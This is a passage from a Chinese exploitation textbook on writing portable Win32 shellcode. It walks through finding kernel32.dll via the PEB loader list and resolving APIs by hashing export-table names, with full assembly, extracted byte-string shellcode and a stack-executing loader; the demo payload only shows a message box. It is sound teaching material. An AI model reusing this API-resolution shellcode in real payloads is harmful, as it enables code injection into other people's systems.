3.4 开发通用的shellcode
3.4.1 定位API的原理
回顾2.4节和3.2节中的shellcode是怎样调用MessagBoxA和ExitProcess函数的。如果您亲手实验了这些步骤,在使用Dependency Walker计算您的计算机中的API入口地址的时候,可能会发现您的地址和本书实验指导中的地址有所差异。原因有几下几点。
(1)不同的操作系统版本:Windows 2000,Windows XP等会影响动态链接库的加载基址。
(2)不同的补丁版本:很多安全补丁会修改这些动态链接库中的函数,使得不同版本补丁对应的动态链接库的内容有所不同,包括动态链接库文件的大小和导出函数的偏移地址。
由于这些因素,我们手工查出的API地址很可能会在其他计算机上失效。在shellcode中使用静态函数地址来调用API会使exploit的通用性受到很大限制。所以,实际中使用的shellcode必须还要能动态地获得自身所需的API函数地址。
Windows的API是通过动态链接库中的导出函数来实现的,例如,内存操作等函数在kernel32.dll中实现;大量的图形界面相关的API则在user32.dll中实现。Win_32平台下的shellcode使用最广泛的方法,就是通过从进程环境块中找到动态链接库的导出表,并搜索出所需的API地址,然后逐一调用。
所有win_32程序都会加载ntdll.dll和kernel32.dll这两个最基础的动态链接库。如果想要在win_32平台下定位kernel32.dll中的 API地址,可以采用如下方法。
(1)首先通过段选择字FS在内存中找到当前的线程环境块TEB。
(2)线程环境块偏移位置为0x30的地方存放着指向进程环境块PEB的指针。
(3)进程环境块中偏移位置为0x0C的地方存放着指向PEB_LDR_DATA结构体的指针,其中,存放着已经被进程装载的动态链接库的信息。
(4)PEB_LDR_DATA结构体偏移位置为0x1C的地方存放着指向模块初始化链表的头指针InInitializationOrderModuleList。
(5)模块初始化链表InInitializationOrderModuleList中按顺序存放着PE装入运行时初始化模块的信息,第一个链表结点是ntdll.dll,第二个链表结点就是kernel32.dll。
(6)找到属于kernel32.dll的结点后,在其基础上再偏移0x08就是kernel32.dll在内存中的加载基地址。
(7)从kernel32.dll的加载基址算起,偏移0x3C的地方就是其PE头。
(8)PE头偏移0x78的地方存放着指向函数导出表的指针。
(9)至此,我们可以按如下方式在函数导出表中算出所需函数的入口地址,如图3.4.1所示。
·导出表偏移0x1C处的指针指向存储导出函数偏移地址(RVA)的列表。
·导出表偏移0x20处的指针指向存储导出函数函数名的列表。
·函数的RVA地址和名字按照顺序存放在上述两个列表中,我们可以在名称列表中定位到所需的函数是第几个,然后在地址列表中找到对应的RVA。
·获得RVA后,再加上前边已经得到的动态链接库的加载基址,就获得了所需API此刻在内存中的虚拟地址,这个地址就是我们最终在shellcode中调用时需要的地址。
按照上面的方法,我们已经可以获得kernel32.dll中的任意函数。类似地,我们已经具备了定位ws2_32.dll中的winsock函数来编写一个能够获得远程shell的真正的shellcode了。
其实,在摸透了kernel32.dll中的所有导出函数之后,结合使用其中的两个函数LoadLibrary()和GetProcAddress(),有时可以让定位所需其他API的工作变得更加容易。
图3.4.1 在shellcode中动态定位API的原理
本节实验将用上述定位API的方法把弹出消息框的shellcode进一步完善,使其能够适应任意win_32平台,不受操作系统版本和补丁版本的限制。
3.4.2 shellcode的加载与调试
shellcode的最常见形式就是用转移字符把机器码存在一个字符数组中,例如,前边我们弹出消息框并能正常退出程序的shellcode就可以存成下述形式。
char box_popup[]= "\x66\x81\xEC\x40\x04" // SUB SP,440 "\x33\xDB" // XOR EBX,EBX "\x53" // PUSH EBX "\x68\x77\x65\x73\x74" // PUSH 74736577 "\x68\x66\x61\x69\x6C" // PUSH 6C696166 "\x8B\xC4" // MOV EAX,ESP "\x53" // PUSH EBX "\x50" // PUSH EAX "\x50" // PUSH EAX "\x53" // PUSH EBX "\xB8\xEA\x04\xD8\x77" // MOV EAX,user32.MessageBoxA "\xFF\xD0" // CALL EAX "\x53" // PUSH EBX ;/ExitCode "\xB8\xDA\xCD\x81\x7C" // MOV EAX,kernel32.ExitProcess "\xFF\xD0"; // CALL EAX ;\ExitProcess
如果在互联网上搜集常用的shellcode,一般得到的也是类似的存于字符数组的机器码。我们本节实验中将对上述代码进行完善,加入自动获取API入口地址的功能,最终得到的也是类似这种形式的机器代码。
虽然这种形式的shellcode可以在C语言中轻易地布置进内存的目标区域,但是如果出了问题,往往难于调试。所以,在我们开始着手改造shellcode之前,先看看相关的调试环境。
由于shellcode需要漏洞程序已经初始化好了的进程空间和资源等,故往往不能单独运行。为了能在实际运行中调试这样的机器码,我们可以使用这样一段简单的代码来装载shellcode。
char shellcode[]="\x66\x81\xEC\x40\x04\x33\xDB……";//欲调试的十六 //进制机器码" void main() { __asm { lea eax, shellcode push eax ret } }
ret指令会将push进去的shellcode在栈中的起始地址弹给EIP,让处理器跳转到栈区去执行shellcode。我们可以用这段装载程序运行搜集到的shellcode,并调试之。若搜集到的shellcode不能满足需求,也可以在调试的基础上稍作修改,为它增加新功能。
3.4.3 动态定位API地址的shellcode
下面我们将给shellcode加入自动定位API的功能。为了实现弹出消息框并显示“failwest”的功能,需要使用如下API函数。
(1)MessageBoxA 位于user32.dll中,用于弹出消息框。
(2)ExitProcess 位于kernel32.dll中,用于正常退出程序。
(3)LoadLibraryA 位于kernel32.dll中。并不是所有的程序都会装载user32.dll,所以在我们调用MessageBoxA之前,应该先使用LoadLibrary(“user32.dll”)装载其所属的动态链接库。
通过前面介绍的win_32平台下搜索API地址的办法,我们可以从FS所指的线程环境块开始,一直追溯到动态链接库的函数名导出表,在其中搜索出所需的API函数是第几个,然后在函数偏移地址(RVA)导出表中找到这个地址。
由于shellcode最终是要放进缓冲区的,为了让shellcode更加通用,能被大多数缓冲区容纳,我们总是希望shellcode尽可能短。因此,在函数名导出表中搜索函数名的时候,一般情况下并不会用“MessageBoxA”这么长的字符串去进行直接比较。
通常情况下,我们会对所需的API函数名进行hash运算,在搜索导出表时对当前遇到的函数名也进行同样的hash,这样只要比较hash所得的摘要(digest)就能判定是不是我们所需的API了。虽然这种搜索方法需要引入额外的hash算法,但是可以节省出存储函数名字符串的代码。
提示:本书中所说的hash指的是hash算法,是一个运算过程。经过hash后得到的值将被称做摘要,即digest,请读者注意这种叙述方式。
本节实验中所用hash函数的C代码如下。
#include <stdio.h> #include <windows.h> DWORD GetHash(char *fun_name) { DWORD digest=0; while(*fun_name) { digest=((digest<<25)|(digest>>7)); //循环右移7位 digest+= *fun_name ; //累加 fun_name++; } return digest; } main() { DWORD hash; hash= GetHash("AddAtomA"); printf("result of hash is %.8x\n",hash); }
如上述代码,我们将把字符串中的字符逐一取出,把ASCII码从单字节转换成四字节的双字(DWORD),循环右移7位之后再进行累积。
代码中只比较经过hash运算的函数名摘要,也就是说,不论API函数名多么长,我们只需要存一个双字就行。而上述hash算法只需要用ror和add两条指令就能实现。
题外话:在下一节中,我们将讨论怎样精简shellcode的长度,其中会详细讨论按照什么标准来选取hash算法。实际上您会发现hash后的摘要并不一定是一个双字(32bit),精心构造的hash算法可以让一个字节(8bit)的摘要也满足要求。
API函数及hash后的摘要如表3-4-1所示。
表3-4-1 API函数及hash后的摘要
在将hash压入栈中之前,注意先将增量标志DF清零。因为当shellcode是利用异常处理机制而植入的时候,往往会产生标志位的变化,使shellcode中的字串处理方向发生变化而产生错误(如指令LODSD)。如果您在堆溢出利用中发现原本身经百战的shellcode在运行时出错,很可能就是这个原因。总之,一个字节的指令可以大大增加shellcode的通用性。
现在可以将这些hash结果压入栈中,并用一个寄存器标识位置,以备后面搜索API函数时使用。
;store hash push 0x1e380a6a ;hash of MessageBoxA push 0x4fd18963 ;hash of ExitProcess push 0x0c917432 ;hash of LoadLibraryA mov esi,esp ;esi = addr of first function hash lea edi,[esi-0xc] ;edi = addr to start writing function
然后我们需要抬高栈顶,保护shellcode不被入栈数据破坏。
;make some stack space xor ebx,ebx mov bh, 0x04 sub esp, ebx
按照图3.4.1所示,定位kernel32.dll的代码如下。
;find base addr of kernel32.dll mov ebx, fs:[edx + 0x30] ;ebx = address of PEB mov ecx, [ebx + 0x0c] ;ecx = pointer to loader data mov ecx, [ecx + 0x1c] ;ecx = first entry in initialisation ;order list mov ecx, [ecx] ;ecx = second entry in list;(kernel32.dll) mov ebp, [ecx + 0x08] ;ebp = base address of kernel32.dll
在导入表中搜索API的逻辑可以设计如图3.4.2所示。
图3.4.2 定位API的流程图
最终的代码实现如下。
int main()
{
_asm{
CLD ;clear flag DF
;store hash
push 0x1e380a6a ;hash of MessageBoxA
push 0x4fd18963 ;hash of ExitProcess
push 0x0c917432 ;hash of LoadLibraryA
mov esi,esp ;esi = addr of first function hash
lea edi,[esi-0xc] ;edi = addr to start writing function
;make some stack space
xor ebx,ebx
mov bh, 0x04
sub esp, ebx
;push a pointer to "user32" onto stack
mov bx, 0x3233 ;rest of ebx is null
push ebx
push 0x72657375
push esp
xor edx,edx
;find base addr of kernel32.dll
mov ebx, fs:[edx + 0x30] ;ebx = address of PEB
mov ecx, [ebx + 0x0c] ;ecx = pointer to loader data
mov ecx, [ecx + 0x1c] ;ecx = first entry in initialization
;order list
mov ecx, [ecx] ;ecx = second entry in list
;(kernel32.dll)
mov ebp, [ecx + 0x08] ;ebp = base address of kernel32.dll
find_lib_functions:
lodsd ;load next hash into al and increment esi cmp eax, 0x1e380a6a ;hash of MessageBoxA - trigger
;LoadLibrary("user32")
jne find_functions
xchg eax, ebp ;save current hash
call [edi - 0x8] ;LoadLibraryA
xchg eax, ebp ;restore current hash, and update ebp
;with base address of user32.dll
find_functions:
pushad ;preserve registers
mov eax, [ebp + 0x3c] ;eax = start of PE header
mov ecx, [ebp + eax + 0x78] ;ecx = relative offset of export table
add ecx, ebp ;ecx = absolute addr of export table
mov ebx, [ecx + 0x20] ;ebx = relative offset of names table
add ebx, ebp ;ebx = absolute addr of names table
xor edi, edi ;edi will count through the functions
next_function_loop:
inc edi ;increment function counter
mov esi, [ebx + edi * 4] ;esi = relative offset of current
;function name
add esi, ebp ;esi = absolute addr of current
;function name
cdq ;dl will hold hash (we know eax is
;small)
hash_loop:
movsx eax, byte ptr[esi]
cmp al,ah
jz compare_hash
ror edx,7
add edx,eax
inc esi
jmp hash_loop
compare_hash:
cmp edx, [esp + 0x1c] ;compare to the requested hash (saved on;stack from pushad)
jnz next_function_loop
mov ebx, [ecx + 0x24] ;ebx = relative offset of ordinals
;table
add ebx, ebp ;ebx = absolute addr of ordinals
;table
mov di, [ebx + 2 * edi] ;di = ordinal number of matched
;function
mov ebx, [ecx + 0x1c] ;ebx = relative offset of address
;table
add ebx, ebp ;ebx = absolute addr of address table
add ebp, [ebx + 4 * edi] ;add to ebp (base addr of module) the
;relative offset of matched function
xchg eax, ebp ;move func addr into eax
pop edi ;edi is last onto stack in pushad
stosd
;write function addr to [edi] and
;increment edi
push edi
popad ;restore registers;loop until we reach end of last hash
cmp eax,0x1e380a6a
jne find_lib_functions
function_call:
xor ebx,ebx
push ebx ;cut string
push 0x74736577
push 0x6C696166 ;push failwest
mov eax,esp ;load address of failwest
push ebx
push eax
push eax
push ebx
call [edi - 0x04] ;call MessageboxA
push ebx
call [edi - 0x08] ;call ExitProcess
nop
nop
nop
nop
}
}
上述汇编代码可以用VC 6.0直接编译运行,并生成PE文件。之后可以用OllyDbg或者IDA等反汇编工具从PE文件的代码节中提取出二进制的机器码如下。
提示:之所以在汇编代码的前后都加上一段nop(0x90),是为了在反汇编工具或调试时非常方便地区分出shellcode的代码。
"\x90"// NOP "\xFC"// CLD "\x68\x6A\x0A\x38\x1E"// PUSH 1E380A6A "\x68\x63\x89\xD1\x4F"// PUSH 4FD18963 "\x68\x32\x74\x91\x0C"// PUSH 0C917432 "\x8B\xF4"// MOV ESI,ESP "\x8D\x7E\xF4"// LEA EDI,DWORD PTR DS:[ESI-C] "\x33\xDB"// XOR EBX,EBX "\xB7\x04"// MOV BH,4 "\x2B\xE3"// SUB ESP,EBX "\x66\xBB\x33\x32"// MOV BX,3233 "\x53"// PUSH EBX "\x68\x75\x73\x65\x72"// PUSH 72657375 "\x54"// PUSH ESP "\x33\xD2"// XOR EDX,EDX "\x64\x8B\x5A\x30"// MOV EBX,DWORD PTR FS:[EDX+30] "\x8B\x4B\x0C"// MOV ECX,DWORD PTR DS:[EBX+C] "\x8B\x49\x1C"// MOV ECX,DWORD PTR DS:[ECX+1C] "\x8B\x09"// MOV ECX,DWORD PTR DS:[ECX] "\x8B\x69\x08"// MOV EBP,DWORD PTR DS:[ECX+8] "\xAD"// LODS DWORD PTR DS:[ESI] "\x3D\x6A\x0A\x38\x1E"// CMP EAX,1E380A6A "\x75\x05"// JNZ SHORT popup_co.00401070 "\x95"// XCHG EAX,EBP "\xFF\x57\xF8"// CALL DWORD PTR DS:[EDI-8] "\x95"// XCHG EAX,EBP "\x60"// PUSHAD "\x8B\x45\x3C"// MOV EAX,DWORD PTR SS:[EBP+3C] "\x8B\x4C\x05\x78"// MOV ECX,DWORD PTR SS:[EBP+EAX+78] "\x03\xCD"// ADD ECX,EBP "\x8B\x59\x20"// MOV EBX,DWORD PTR DS:[ECX+20] "\x03\xDD"// ADD EBX,EBP "\x33\xFF"// XOR EDI,EDI "\x47"// INC EDI "\x8B\x34\xBB"// MOV ESI,DWORD PTR DS:[EBX+EDI*4] "\x03\xF5"// ADD ESI,EBP "\x99"// CDQ "\x0F\xBE\x06"// MOVSX EAX,BYTE PTR DS:[ESI] "\x3A\xC4"// CMP AL,AH "\x74\x08"// JE SHORT popup_co.00401097 "\xC1\xCA\x07"// ROR EDX,7 "\x03\xD0"// ADD EDX,EAX "\x46"// INC ESI "\xEB\xF1"// JMP SHORT popup_co.00401088 "\x3B\x54\x24\x1C"// CMP EDX,DWORD PTR SS:[ESP+1C] "\x75\xE4"// JNZ SHORT popup_co.00401081 "\x8B\x59\x24"// MOV EBX,DWORD PTR DS:[ECX+24] "\x03\xDD"// ADD EBX,EBP "\x66\x8B\x3C\x7B"// MOV DI,WORD PTR DS:[EBX+EDI*2] "\x8B\x59\x1C"// MOV EBX,DWORD PTR DS:[ECX+1C] "\x03\xDD"// ADD EBX,EBP "\x03\x2C\xBB"// ADD EBP,DWORD PTR DS:[EBX+EDI*4] "\x95"// XCHG EAX,EBP "\x5F"// POP EDI "\xAB"// STOS DWORD PTR ES:[EDI] "\x57"// PUSH EDI "\x61"// POPAD "\x3D\x6A\x0A\x38\x1E"// CMP EAX,1E380A6A "\x75\xA9"// JNZ SHORT popup_co.00401063 "\x33\xDB"// XOR EBX,EBX "\x53"// PUSH EBX "\x68\x77\x65\x73\x74"// PUSH 74736577 "\x68\x66\x61\x69\x6C"// PUSH 6C696166 "\x8B\xC4"// MOV EAX,ESP "\x53"// PUSH EBX "\x50"// PUSH EAX "\x50"// PUSH EAX "\x53"// PUSH EBX "\xFF\x57\xFC"// CALL DWORD PTR DS:[EDI-4] "\x53"// PUSH EBX "\xFF\x57\xF8";// CALL DWORD PTR DS:[EDI-8]
上述这种保存在字符数组中的shellcode已经可以轻易地在exploit程序中使用了,也可以用前边的shellcode装载程序单独加载运行。
char popup_general[]= "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C" "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53" "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B" "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95" "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59" "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A" "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75" "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03" "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB" "\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50" "\x53\xFF\x57\xFC\x53\xFF\x57\xF8"; void main() { __asm { lea eax, popup_general push eax ret } }
这样,一段考虑了跨平台、健壮性、稳定性、通用性等各方面因素的高质量shellcode就生成了。本书后面章节将在实验中反复使用这段shellcode。经过反复的实验,这段shellcode在各种溢出利用场景下都表现出色。
通过本节的介绍,可以看出即使是经验丰富的汇编程序员,想要写出高质量的shellcode也得着实花一翻工夫。事实上,若非真的有特殊需要,即使是经验丰富的hacker也不会总是自己编写shellcode。大多数情况下,从Internet上可以得到许多经典的shellcode。另外MetaSploit通用漏洞测试架构3.0下的payload库中,目前已经包含了包括绑定端口、网马downloader、远程shell、任意命令执行等在内的104种不同功能的经典shellcode。通过简单的参数配置,可以轻易导出C语言格式、Perl语言格式、ruby语言格式、原始十六进制格式等形式的shellcode。我们会在后面章节中专门介绍MataSploit的使用和开发。